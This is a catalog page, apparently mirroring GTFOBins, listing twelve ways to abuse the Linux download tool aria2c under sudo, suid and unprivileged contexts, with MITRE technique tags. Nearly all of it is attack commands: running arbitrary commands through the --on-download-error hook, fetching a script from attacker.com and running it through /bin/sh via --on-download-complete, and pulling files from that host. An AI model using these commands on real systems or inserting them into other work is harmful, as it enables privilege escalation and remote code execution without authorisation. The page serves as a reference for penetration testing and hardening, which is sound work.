DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

aria2c

12 techniques LinuxGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation Linux

Note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation Linux

Note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
Context
suid
Native
command
MITRE
T1059

command

Execution Linux

Note that the subprocess is immediately sent to the background.

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain
Context
unprivileged
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation Linux

The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation Linux

The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
Context
suid
Native
command
MITRE
T1059

command

Execution Linux

The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script, e.g., `/path/to/command`. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
Context
unprivileged
Native
command
MITRE
T1059

download

File DownloadPrivilege Escalation Linux

Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation Linux

Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
Context
suid
Native
download
MITRE
T1105

download

File Download Linux

Use `--allow-overwrite` if needed. Similarly `-o /path/to/ouput-file` can be omitted, in that case the file is saved to `input-file` in the current working directory.

aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file
Context
unprivileged
Native
download
MITRE
T1105